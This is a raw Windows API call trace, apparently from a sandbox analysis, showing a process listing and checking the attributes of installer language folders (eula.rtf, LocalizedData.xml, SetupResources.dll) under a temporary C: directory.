	[0235.862] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.862] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a1ecf99, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1e8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0235.862] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0235.862] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0235.862] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.862] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0235.863] WriteFile (in: hFile=0x0, lpBuffer=0xc000290240, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0235.863] VirtualAlloc (lpAddress=0xc0002a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a2000
	[0235.863] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6)) returned 1
	[0235.894] VirtualAlloc (lpAddress=0xc0002a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a4000
	[0235.895] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.895] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358)) returned 1
	[0235.899] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.899] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a1ecf99, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1e8f)) returned 1
	[0235.902] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.903] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.903] SetEvent (hEvent=0xe4) returned 1
	[0235.903] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028" (normalized: "c:\\588bce7c90097ed212\\1028"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028" (normalized: "c:\\588bce7c90097ed212\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.905] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0235.905] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.905] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a560dd3, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0235.905] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0235.905] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0235.905] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.905] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0235.906] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0235.906] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1
	[0235.943] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.943] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0235.967] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.967] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a560dd3, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19a5)) returned 1
	[0235.968] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.968] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.968] SetEvent (hEvent=0xf0) returned 1
	[0235.968] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029" (normalized: "c:\\588bce7c90097ed212\\1029"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029" (normalized: "c:\\588bce7c90097ed212\\1029"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.007] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0236.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a5aa02e, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.008] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0236.008] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.008] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a)) returned 1
	[0236.009] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.009] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.009] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.009] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a5aa02e, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf8e)) returned 1
	[0236.010] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.010] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.011] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030" (normalized: "c:\\588bce7c90097ed212\\1030"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030" (normalized: "c:\\588bce7c90097ed212\\1030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.012] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0236.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a63c702, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.012] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0236.012] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.012] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4)) returned 1
	[0236.013] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
